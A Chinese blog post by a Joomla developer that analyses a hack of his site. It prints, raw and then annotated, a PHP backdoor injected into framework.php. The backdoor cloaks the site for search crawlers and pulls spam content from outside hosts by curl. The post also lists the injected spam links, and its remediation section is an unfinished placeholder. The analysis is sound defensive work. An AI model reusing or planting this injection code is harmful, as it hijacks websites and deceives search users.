本文将介绍一下joomlachina.cn遭遇的挂马事件以及对应的处理方法。希望给同样遇到类似攻击的朋友提供一些处理思路。同时在本文我们也将讨论一下目录的执行逻辑。解释一下站点被挂马后出现异常现象的本质。

问题现象

大概一个月之前收到服务器发来的告警信息说网站存在违规内容,因为当时家里有事,就一直没有处理。直到最近才得空处理。但已经造成了惨重的损失。

网站被百度给k站了,已经搜索不到任何的内容了。通过site指令,也找不到任何的信息。并且,在百度数据统计里面可以看到出现了很多不属于我站点的关键词出现了。第一感觉就是网站中了木马。

找到木马

 我一直想不明白为什么其他不属于我站的关键词会出现在百度的统计数据里面。直到我尝试用百度的抓取工具抓取网站内容的时候才恍然大悟。居然百度抓取的内容和用户使用浏览器看到的内容完全不一样。这个发现让我太震惊了,居然可以这样做!

如何定位木马文件呢?首先我做的就是确认影响的范围,看是部分页面影响还是所有页面影响,最终发现是所有页面都被影响了。那么可以断定应该是joomla核心或者其第三方插件被感染了。更改了系统模板,发现问题依然存在,那么就说明不是模板导致的,然后将所有的系统插件逐一关闭排除,发现问题依然存在。那么基本上可以断定是joomla核心文件被感染了。那么具体是哪一个文件呢?一般的黑客对joomla并不熟悉,所以为了确保脚本能够在全站都通用,一般就只会更改index.php,framework.php ,include.php ,defind.php这几个公共文件,基本逐一打开之后就可以看到异常文件了。我的情况是framework.php文件被修改了。

分析木马

set_time_limit(0);error_reporting(0);$a=stristr;$c=$_SERVER;define('url',$c['REQUEST_URI']);define('ref',$c['HTTP_REFERER']);define('ent',$c['HTTP_USER_AGENT']);define('site','http://red.qweppp.com/?');define('road','road='.$c['HTTP_HOST'].url);define('waps','@Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod@i');define('regs','@Baidu|Sogou|Yisou|Sm.cn@i');define('area',$a(url,'.xml')or $a(url,'.doc')or $a(url,'scm')or $a(url,'.txt')or $a(url,'.ppt')or $a(url,'.xls')or $a(url,'.csv')or $a(url,'.shtml'));if(preg_match(regs,ent)){if(area){echo papa(site.road.'&time');exit;}else{echo papa("http://red.qweppp.com/u.php");}}if(area&&preg_match(regs,ref)&&preg_match(waps,ent)){echo papa('http://tz11.zvqsqkz.com/111php.html');exit;}elseif(area){echo '<!--Code:201-->'."\n";}function papa($e){$f=curl_init();curl_setopt($f,CURLOPT_URL,$e);curl_setopt($f,CURLOPT_USERAGENT,ent);curl_setopt($f,CURLOPT_TIMEOUT,30);curl_setopt($f,CURLOPT_RETURNTRANSFER,1);$g=curl_exec($f);return $g;}

 上面这就是注入的木马。将这个代码发给AI,重新解释之后就看到了他的真面目了。

<?php
// 1. 取消脚本执行时间限制(避免超时被终止)
set_time_limit(0);
// 2. 关闭所有错误报告(防止暴露问题)
error_reporting(0);

// 3. 定义别名:$a 指向 stristr 函数(用于检测字符串是否包含指定内容,不区分大小写)
$a = stristr;
// 4. 获取服务器变量数组(包含请求信息)
$c = $_SERVER;

// 5. 定义常量:收集当前请求的关键信息
define('url', $c['REQUEST_URI']);       // 当前请求的 URI(如 /index.php)
define('ref', $c['HTTP_REFERER']);      // 来源页 URL(用户从哪个页面跳转过来)
define('ent', $c['HTTP_USER_AGENT']);   // 用户浏览器/爬虫的 User-Agent
define('site', 'http://red.qweppp.com/?');  // 恶意域名1(核心回传地址)
define('road', 'road=' . $c['HTTP_HOST'] . url); // 拼接:road=当前域名+请求URI(如 road=example.com/index.php)
define('waps', '@Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod@i'); // 匹配移动设备的正则
define('regs', '@Baidu|Sogou|Yisou|Sm.cn@i'); // 匹配搜索引擎爬虫的正则(百度、搜狗等)
// 6. 检测当前请求是否访问了敏感文件(扩展名包含.xml/.doc/.xls等)
define('area', $a(url, '.xml') || $a(url, '.doc') || $a(url, 'scm') || 
                $a(url, '.txt') || $a(url, '.ppt') || $a(url, '.xls') || 
                $a(url, '.csv') || $a(url, '.shtml'));

// 7. 核心条件判断:根据请求特征触发回传逻辑
if (preg_match(regs, ent)) { // 条件A:用户是搜索引擎爬虫(如百度蜘蛛)
    if (area) { // 子条件:且访问了敏感文件
        // 回传:site.road.&time(如 http://red.qweppp.com/?road=example.com/index.php&time)
        echo papa(site . road . '&time');
        exit; // 终止脚本
    } else { // 未访问敏感文件
        // 回传:red.qweppp.com/u.php(统计或指令页)
        echo papa("http://red.qweppp.com/u.php");
    }
}

// 8. 第二组条件判断:移动设备+搜索引擎爬虫+敏感文件
if (area && preg_match(regs, ref) && preg_match(waps, ent)) {
    // 回传:tz11.zvqsqkz.com/111php.html(另一个恶意跟踪页)
    echo papa('http://tz11.zvqsqkz.com/111php.html');
    exit;
} elseif (area) { // 仅访问敏感文件(非爬虫/非移动设备)
    // 输出隐藏标记(表明后门已植入)
    echo '<!--Code:201-->' . "
";
}

// 9. 恶意请求函数:向外部域名发送 GET 请求并返回结果
function papa($e) {
    $f = curl_init();                          // 初始化 curl 会话
    curl_setopt($f, CURLOPT_URL, $e);         // 设置请求 URL(外部恶意域名)
    curl_setopt($f, CURLOPT_USERAGENT, ent);  // 伪造 User-Agent(用当前请求的 UA)
    curl_setopt($f, CURLOPT_TIMEOUT, 30);     // 设置超时时间(30秒)
    curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); // 不直接输出,返回结果
    $g = curl_exec($f);                       // 执行请求
    return $g;                                // 返回外部服务器的响应
}
?>

看到了这个代码,我就理解了为什么我的站点会在搜索引擎里面出现不属于我站点的内容了。首先代码会检查是否是搜索引擎,如果是的, 就来时拦截,通过curl去远程获得内容。这样我的网站就凭空的多了很多的非法内容了。这些内容并不存储在数据库中,而是动态从远程获得的。不得不说,这个想法非常的巧妙。

进一步的追查red.qweppp.com/u.php,发现这个里面仅仅只是输出一些链接,

<a href="/article/2025101787719685-HMMGNL.shtml"></a>
<a href="/article/2025101766145-MXMLHNOG.shtml"></a>
<a href="/article/2025101743323-HMISA.shtml"></a>
<a href="/article/20251017986716-CNTGGXTI.shtml"></a>
<a href="/article/2025101740587-FALMUZNQ.shtml"></a>
<a href="/article/2025101754525474-WJPWX.shtml"></a>
<a href="/article/2025101769755604-NFMRFLL.shtml"></a>
<a href="/article/20251017622306-WOXUVE.shtml"></a>
<a href="/article/20251017954180-EAXFJ.shtml"></a>
<a href="/article/2025101794709-OMEZII.shtml"></a>
<a href="/article/202510179733148-ZKHEOSHP.shtml"></a>
<a href="/article/20251017532793-PNODAAN.shtml"></a>
<a href="/article/2025101798237-MXTPHH.shtml"></a>
<a href="/article/202510176218398-WAUZOHWK.shtml"></a>
<a href="/article/20251017716228-YABTCMKI.shtml"></a>
<a href="/article/20251017666216-ZKAETJ.shtml"></a>
<a href="/article/20251017192492-VJLPX.shtml"></a>
<a href="/article/2025101744149979-BCKTLNH.shtml"></a>
<a href="/article/2025101727357-SRHBV.shtml"></a>
<a href="/article/202510174229578-FNVZQ.shtml"></a>
<a href="/article/2025101737080916-WPDTT.shtml"></a>
<a href="/article/2025101712489-TRFMVR.shtml"></a>
<a href="/article/2025101733305347-BEAGMP.shtml"></a>
<a href="/article/20251017476730-RKYKSKI.shtml"></a>
<a href="/article/2025101773255422-REPUKF.shtml"></a>
<a href="/article/2025101774276-HZPATE.shtml"></a>
<a href="/article/20251017595991-OULRGZY.shtml"></a>
<a href="/article/20251017533654-BQPFEGH.shtml"></a>
<a href="/article/202510174102860-WVGRRMRW.shtml"></a>
<a href="/article/20251017800993-EZCJCG.shtml"></a>
<a href="/article/2025101760627-IRFHXF.shtml"></a>
<a href="/article/2025101725884352-YAQQYKPI.shtml"></a>
<a href="/article/202510177284306-XQBYNHA.shtml"></a>
<a href="/article/20251017246884-AKSPABM.shtml"></a>
<a href="/article/2025101788342-FXOJD.shtml"></a>
<a href="/article/202510176763314-ATPJU.shtml"></a>
<a href="/article/202510172802844-MLNABBB.shtml"></a>
<a href="/article/2025101747602-MAXUJ.shtml"></a>
<a href="/article/2025101773696656-QBTWGCBU.shtml"></a>
<a href="/article/202510172320936-FEEOSJP.shtml"></a>
<a href="/article/2025101754185723-XNYDX.shtml"></a>
<a href="/article/2025101727356219-OHMXACX.shtml"></a>
<a href="/article/2025101739799875-AVAYTDJ.shtml"></a>
<a href="/article/2025101722843927-KOAGPWI.shtml"></a>
<a href="/article/2025101785513-OXQHJU.shtml"></a>
<a href="/article/202510175146929-IJTPRPO.shtml"></a>
<a href="/article/20251017900534-RLWXRAMO.shtml"></a>
<a href="/article/202510171855975-GUTQTD.shtml"></a>
<a href="http://www.tyqcxs.com/article/2025101744090802-JOKZUGQ.shtml"></a>
<a href="http://www.scpgyy.com/article/20251017760546-LOJQV.shtml"></a>
<a href="http://zhangguisong.com/article/20251017211750-YSRFT.shtml"></a>
<a href="http://www.cuw68.com.cn/article/20251017613599-KZLXGJT.shtml"></a>
<a href="http://www.acdcdc.com/article/2025101711916-EMXFJ.shtml"></a>
<a href="https://www.zhangguisong.com/article/2025101760875667-XRXJJPJG.shtml"></a>

 这些就是我的网站中增加的代码了。在这里我们可以看到,最后还有几个其他的中了木马的站点。

尝试的解决方法

TODOTODO

 

作者: 樱木花道

Joomla程序员,从J1.5到J4.x始终都在做Joomla相关开发定制工作,有超过10年行业经验,国内Joomla扩展开发商ZMAX团队的核心成员

作者网站:ZMAX程序人

评论 (0)

  • 最新在前
  • 最佳在前